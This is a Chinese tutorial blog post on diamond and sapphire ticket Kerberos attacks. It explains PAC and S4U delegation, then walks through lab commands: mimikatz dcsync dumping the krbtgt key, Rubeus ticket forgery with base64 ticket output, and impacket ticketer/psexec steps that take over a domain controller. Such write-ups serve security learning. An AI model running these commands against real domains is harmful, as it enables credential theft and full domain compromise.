新一代Kerberos攻击 钻石票据与蓝宝石票据
新一代Kerberos攻击 | 钻石票据与蓝宝石票据
0x01 前言
在了解票据攻击的过程中,看见了一篇文章使用Rubeus进行钻石票据攻击。但是没有原理,于是抱着学习的心态在Google上寻找文章发现除了钻石票据还有蓝宝石票据。
0x02 补充知识
在后渗透当中,咱拥有域控一定的权限之后就可以转储ntds.dit并获取krbtgt密钥。而黄金票据和白银票据的问题在于它们很容易被发现。一旦 KDC服务收到TGT/ST,并且在SIEM中收到日志,就很容易被现在的安全设备所检测出来。
黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
钻石票据与蓝宝石票据的区别,在钻石票据攻击当中,修改是通过添加额外权限或完全修改所请求的 TGT 的原始 PAC。而在蓝宝石票据当中,则是使用 Kerberos 委派获取高权限用户的合法 PAC 来修改 TGT,并将其替换为原始票证的 PAC。
什么是 Kerberos 特权属性证书 (PAC)?
通过微软文档知道PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。完成身份验证后,下一个任务是决定是否授权特定请求。而 DC 包括 PAC 中的授权数据,例如安全标识符 (SID)和相对标识符 (RID)
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/54d570b1-fc54-4c54-8218-f770440ec334
Kerberos委派
Microsoft 实施了 Kerberos 扩展以避免将用户的 TGT 保留在内存中。该扩展称为S4U(Service for User),它由S4U2Self和S4U2Proxy组成。S4U2Self 允许服务代表任何用户向其自身请求票证。S4U2Proxy 将允许一个服务向另一个服务进行身份验证。
我们在这里只简单写一下约束委派,这是蓝宝石票据利用需要的。那么其他委派可以参考:
https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/#:~:text=Kerberos%20Delegation%20is%20a%20security,account%20for%20any%20other%20network
S4U2Self
允许服务获取其自身的 Kerberos服务票证的扩展。服务票证 包含用户的组,因此可用于授权决策。要使用此协议扩展,发出KRB_TGS_REQ的用户必须至少具有一个服务主体名称 (SPN),以允许 DC 使用服务密钥加密生成的服务票证。
S4U2U KRB_TGS交换流程:
- 服务填写PA_FOR_USER数据结构,其中包含有关服务代表其请求服务票证的用户的信息,并向 TGS 发送 KRB_TGS_REQ 消息。
- 服务票证将通过 KRB_TGS_REQ 消息发送回服务。服务票据中返回的 PAC 包含授权数据。
U2U Authentication
允许客户端请求使用 TGT 中的会话密钥对 KDC 颁发的票证进行加密,该会话密钥来自颁发给验证身份验证方的 TGT。
https://www.rfc-editor.org/rfc/rfc4120#section-3.7
KRB_TGS_REQ 将具有以下功能:
- extra-tickets:将包含从中获取秘密密钥的 TGT
- ENC-TKT-IN-SKEY:选项指示终端服务器的票证将在来自提供的附加 TGT 的会话密钥中加密。服务名称(sname)可以指用户,但不一定是具有 SPN 的服务。
U2U + S4U2Self
允许没有 SPN 的用户使用 S4U2Self 扩展。在此交换中收到的服务票证使用服务器的密钥进行加密(在这种特定情况下,服务器可以是没有 SPN 的用户),因此,可以使用服务器的密钥来解密目标用户的 PAC。KRB_TGS_REQ 数据包将具有这两种方法的所有功能。
我们也可以参考微软的术语表,通过搜索引擎查找更加详细的文章
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
0x03 钻石票据(Diamond Ticket)
钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密,生成与合法 PAC 高度相似的 PAC,并且还可以生成合法请求。
在这里我们使用Rebeus进行钻石票据攻击的利用。
利用前提:
- krbtgt aes256密钥
- 域密码
- 域控高权限
首先我们使用mimikatz获取krgtgt的aes256密钥
shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
user:mssql
password:1qaz@WSX
domain:de1ay.com
dc:dc.de1ay.com
ticketuser:administrator
在我们使用钻石票据之前,低权限的主机是无法访问域控的。那么有了以上这些信息,我们接着在低权限的机器里上传Rubeus开始进行钻石票据攻击
shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap
那么我们成功拿到了ticket.kirbi
doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+szGDMdUZAhjLgE3qMBr5MTc5dckpDKwNP8b2X8tAIrhNFCvUzf9Cv5V/0ku9XV8NLAU9++HldhkqOlyhoC9lCqMF28LbqlVJej/50CH8Zyp6aG2/nj3MyJc4RRvaLi88zu5BRrvmTRzB7AYR6Y/oOSfB7dGl38uwWxQSLOfCHgXIiXScR0VEXTkmgkuHkYp4b+Z+FDgGvCObP4oqJ3FLgUwoFphLnujdjKLtMH0oQexkZvHOBzD7phLgjYl1SB0FycF+iPVc+2zId6IW4jgroSCyVKGo7jsuLcocwRlAw5poPPtJHaHid/gGEG7OFXllvdzU0eGiZSuZiDyDrWMTbYbmz0byS7gPEZCT7oXcnRQJUSD4Ogc+ISokf/8g/qYCN0FDgumPRh/D346Y4SRRkxuXKXMvUzhblSwBXTN+9RMfS9RbWX4C0v7ROO3Yse3/jx9omGSE+A25r8bZ9ZsFhXtDveKVBTbnugVAdevVjy90zNvRb0h7Q3ZB8jEKfZO0wPBmFiKRXP9/J+OIUeOU+tL/EpzDB80KDZg9/sUoOETxMwDW/KMAthL4FzWiKyfIyjR0QhhJy20RY4tHlC5fbC5beT179cJViw960oZNYOTsBtLYe1JHH+IJmVAeZ6SdACVTThOBIL1u/D0mowpwzuc/cZzGzlOO5KimN/3Yp0SUDIr62RYZz31LqdEoWoCcWE7Nz43uhxOLScXrA/q31MTQ+TzXlEJZGzWhbu2uXHzm49ZUUruORvg4fjkGFDdtl1tnazdnGrXAHA8ZH6r1sssYNAGgxfBY/NkOEKmEgLYOjZH35QiCQNo9/ZOl6titS23D8GJJIaq1SWf+gXeneZxQxfLxS49uIvXe+t49saOZcQ0AQ4C5tTAuWxUQ9ncCCyF/9XHvYVP6EBPyzaCgtQFn3TpbPfjtd5sa+NtOsCwiN5vKLia9taYEu9oAT+Ht+Ddy3O1SkLKVvWhrkIoLR345foUspatqwBY4vXDmVuxYNho3/XiWPR7obF8OYC8AggyIqDnJyUtS6dAkDlbbj98Tyvvhpo5CBynPBov0gl4wKmwkSvaawud77HCnPS1/nIbcSpTNrsfN+IrEgaWHqt7RiopeIAT8xHjwjol+GIYisCXj610woDHLDiVxcDEZGHxKeCI22DUXcAIBoQMvE/UsozNBEiqwHKU5WIiry295VXJkrJpIeIbDnLse+0EmTWQj6EaJv/SNREGC951bTmm4ZxQuMXOELawQ3jtlqqHaHYBtPODbwJd4/wXZ7/RVISVxkMZTrW6ICnLIqgsVCLgRmKtq6/RqdRq55qUA6nNhHNtKMR+UK+z/0Ao4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgFFYLhJYuJsG5bAITiU7Fdu0VY9GZQ7h7nyVe6T3FnhChCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA3MjkxOVqmERgPMjAyMzA4MTMxNzI5MTlapxEYDzIwMjMwODIwMDcyOTE5WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ==
接着就是利用拿到的ticket开始钻石票据攻击
shell C:\Users\mssql\Desktop\Rubeus.exe asktgs /ticket:doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+vCJjVu4BXMErHu9AbT4sKyrD3wcyA7nVgBYuedC2mW1SqJZY1C3u6HmSt0GkVEqKbV+vaj3kf+HdpwSmmj9gxyovEB18CoLR8r7hPpOA2jVsPZEC5jyT6jat+SPmhS0YQ5sHzHA/Qp6BINHSBCcQt4fhNMX0phz2ppa6wlIUty3vTRLtS8C0AzRZisN98ygNPaPOsGnsrHtlHfJr7FAYS39xUXuBQdFeqMF25Y3AnXcadtkCsjw/J2jTZZF05w2tRPitvBUQazC3wElgSJf4Hptq2ULF/ydCftPLPrxW7QMa2IlUHp44CwXMWr4g5WIuwMdMmQlSZ2BdEVuTSnp3jtGpBnsxhH/NZHtrCQFbTzUdiDe3fBIs38yPXUovcRwimDLv7mIoG/OvM/N0Q2ZQBEyQ1UxirowGYex2GaVOhud4TXNYT+ZXA+hGPD4fP0Aco60Ruj7mvoIibIXDL7RgQ+CZ/7lTOniIMa1s0DbIvBkyqu9feDDzZq/CQG93PRERr4iMR0pbr+GFEJq/ObUAVL+dAJXC6gZ2aVW5Bnnb2LxaP6ETkSgPJiWjBVviDB+U6aKMu9diH/qW4rbmBJlwORtMytTHhTMAlk/Q0/zMnJeyvVrPu0FPAcOANHTmjk/eLG3SHyHCr09c4A/K0HY6vBFVdYFG5+QoqsogFLNQ9+aIt3EyrIYcvdcEars2P95zoCrmLVSEDUDo7Oug5pixYYmkx6McgjUeoHkVeWrTH9lhsRY5HsT1HtwzcB1p2skO82mU21ISdxsFVSuLCTPwj1Zshy0pEx/wMLMz5KeAx7KIFuVFQVO4/0bSxJPHWY4q9R6Tbdy0C1kAWdeDJmrmtKw8OKY7nm9kS38WDwgOHOzRVoIdlrPCwL0DStD409P0OVUmTFqq1VevKwpeH5d/TetK35MLy6JfW52oH9dSM2LStQTwLGHqZ0/2O/WzDlzxXfTvBPYGO4kU05yrGplQhNX7lRwSn7FIHaHQ+HQ1XsPsR7Mb6MDBlo1ViNOCd/Bf9QhKKfcF9nB/9PFcHLiHzmwy5NDP53WG9GD07jBHJzxqde3NrhuzfThoh9OiggPQEvDvr4F+s4oSuLiHTZE01Ly/8jfyk3xsAv7nxdxibe60SDYGVINhG2RZos73O4fbSPqHIResToAobklkLFVePCTQhgcF/xwKa3MaA81V9LfVzMcTAFnnWtCLhIunesKCZn3UVuwyrTR6kgnshIgPZysFeppBpqpHRN+XpGc7YJdRo6f5j1WU6L9d61olLb19xDjc4CfeYwJiSZEY48d47WVu5Ruk35ZevqV8QfI9NWSGjwefCmGPXqjPLLo4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgcoXEQyOHq+NrtOFk6yBj7RsmO81Vqmbi4PvqaJmJqIqhCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA0MTgxNlqmERgPMjAyMzA4MTMxNDE4MTZapxEYDzIwMjMwODIwMDQxODE2WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap
成功以低权限机器访问域控!就此钻石票据也利用成功了。
0x04 蓝宝石票据(Sapphire Ticket)
蓝宝石票据攻击可以创建一个模拟任何用户的 TGT,结合 S4U2Self + U2U 组装真正的 TGT 和真正的 PAC。该 PAC 会替换合法票据中的 PAC
我们目前通过刚才的lsadump::dcsync /domain:de1ay.com /all来获取域的安全标识符(SID)
咱接下来使用的是impacket,下面这个Github项目是已经添加-impersonate功能的ticketer.py
https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py
由于目前我环境的问题,这边用的资料的截图作为例子!
目前我们有以下信息
domain admin:snapattack
domain:snapattcker.labs
user:vgullible
pass:Passw0rd1
aesKey:fec5d... ....
domain-sid:S-1-5 ... ...
DC:arrakis.snapattack.labs
那么我们就可以开始进行蓝宝石票据攻击
python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'
export KRB5CCNAME=snapattcker.cache
python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n
执行完之后,蓝宝石票据就攻击成功了。我们可以直接再次接管域控。
0x05 结尾
学习学习新技术,多涨涨自己的技术知识面!
# 参考链接:
https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/
https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/#post-126011-_19wo0e5qmjx8
文章来自https://mp.weixin.qq.com/s/Swp3eptexjZOFD-WoZ9ZYQ
新一代Kerberos攻击 钻石票据与蓝宝石票据的更多相关文章
- 单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题
单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题 今天遇到一个问题,在主站点现在配置的应用和主站点登录会话状态不能共享,进入子站点应用 ...
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- 伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题 第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责 第二个问题:提供服务的服 ...
- 域渗透 | kerberos认证及过程中产生的攻击
文章首发于公众号<Z2O安全攻防> 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...
- 内网安全之:黄金&白银票据传递域控制器权限维持
内网安全之:黄金&白银票据传递域控制器权限维持 目录 内网安全之:黄金&白银票据传递域控制器权限维持 1 Golden Ticket 1.1 导出 krbtgt 的 NTLM Hash ...
- 深入浅出了解OCR识别票据原理(Applying OCR Technology for Receipt Recognition)
原文:Applying OCR Technology for Receipt Recognition 译文:深入浅出了解OCR识别票据原理 英文票据识别技术, 非中文票据识别技术, 中文情况的ocr更 ...
- kafka-producer kerberos 原理和配置
kerberos简单介绍 kerberos这一名词来源于希腊神话“三个头的狗---地狱之门守护者”后来沿用作为安全认证的概念,该系统设计上 采用客户端/服务器结构与DES(Data Encryptio ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
随机推荐
- docker安装es,单机集群模式.失败。
操作系统:mac系统. docker run -d --name es1 -p 9201:9200 -p 9301:9300 elasticsearch:7.14.0 docker run -d -- ...
- 记一次 .NET 某医院门诊软件 卡死分析
一:背景 1. 讲故事 前几天有位朋友找到我,说他们的软件在客户那边卡死了,让我帮忙看下是怎么回事?我就让朋友在程序卡死的时候通过 任务管理器 抓一个 dump 下来,虽然默认抓的是 wow64 ,不 ...
- 火山引擎DataTester:A/B实验平台数据集成技术分享
DataTester的数据集成系统,可大幅降低企业接入A/B实验平台门槛. 当企业想要接入一套A/B实验平台的时候,常常会遇到这样的问题: 企业已经有一套埋点系统了,增加A/B实验平台的话需要重复 ...
- vue全家桶进阶之路9:常用指令
以下是一些常见的指令: v-bind - 用于绑定一个或多个属性到组件或 HTML 元素上. v-model - 用于双向绑定一个表单元素或组件的值到数据模型上. v-for - 用于循环遍历一个数组 ...
- python环境的安装与设置和oneforall的安装与使用
下载python: https://www.python.org/downloads/windows/ 安装python 如果不需要修改路径,下面两个√打开后,点击上面的install now 也可以 ...
- cv学习总结(11.6-11.13)
两层全连接神经网络的内容要比想象中的多很多,代码量也很多,在cs231n只用了15分钟讲解的东西我用了一周半的时间才完全的消化理解,这周终于完成了全连接神经网络博客的书写https://www.cnb ...
- 聊聊Flink必知必会(二)
Checkpoint与Barrier Flink是一个有状态的流处理框架,因此需要对状态做持久化,Flink定期保存状态数据到存储空间上,故障发生后从之前的备份中恢复,这个过程被称为Checkpoin ...
- 图书商城项目练习②后端服务Node/Express/Sqlite
本系列文章是为学习Vue的项目练习笔记,尽量详细记录一下一个完整项目的开发过程.面向初学者,本人也是初学者,搬砖技术还不成熟.项目在技术上前端为主,包含一些后端代码,从基础的数据库(Sqlite).到 ...
- Centos 7安装JDK1.8
# 安装 yum install -y java-1.8.0-openjdk* # 添加环境变量 vim /etc/profile export JAVA_HOME=/usr/lib/jvm/java ...
- AIGC:新AI时代,推动数字人进化的引擎
摘要:CV.NLP.大模型...AI技术的加持下,让数字人内外在更加生动真实.在未来的发展中,数字人的应用场景越来越广泛,并将发挥出重要的作用,让美好照进生活. 本文分享自华为云社区<AIGC: ...